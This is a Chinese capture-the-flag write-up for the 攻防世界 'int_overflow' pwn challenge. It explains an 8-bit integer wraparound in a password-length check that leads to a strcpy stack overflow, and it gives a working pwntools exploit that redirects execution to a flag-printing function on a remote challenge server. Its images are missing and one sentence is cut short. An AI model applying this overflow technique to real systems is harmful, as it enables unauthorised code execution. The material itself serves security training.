攻防世界int_overflow

int_overflow

0x01 查看文件信息及保护

攻防世界int_overflow_第1张图片

0x01 静态分析

攻防世界int_overflow_第2张图片
能够发现在check_password中存在溢出,strcpy()存在溢出点,但是要是上面对我们输入的password(s)做了一定的限制,要求长度在4 但是v3是个无符号整型,查看汇编代码能够发现v3存储在al中,8位寄存器的能够存放的无符号整型为0~255,超出这个范围则会产生溢出。所以当我们输入的password长度为256时,v3的值将为0;
emmm , 整数溢出
攻防世界int_overflow_第3张图片

0x02 利用思路

我们可以通过构造password来实现整数溢出,然后去执行strcpy()实现溢出
程序中有what_is_this()
攻防世界int_overflow_第4张图片
所以

0x03 构造exp

#!usr/bin/python
# -*- coding:utf-8 -*-

from pwn import *
context.arch = "i386"
#context.log_level = "debug"

catflag_addr = 0x0804868B

p = remote('111.198.29.45','38554')
#p = process("./int_overflow")
p.sendlineafter("Your choice:","1")

p.sendlineafter("your username:","name")

p.recvuntil("your passwd:")

payload = "a"*0x14+'a'*4+p32(catflag_addr)
payload = payload.ljust(263,'a')  # 将payload的长度限度在259~263都可以

p.send(payload)

p.recv()

p.interactive()

你可能感兴趣的:(攻防世界pwn)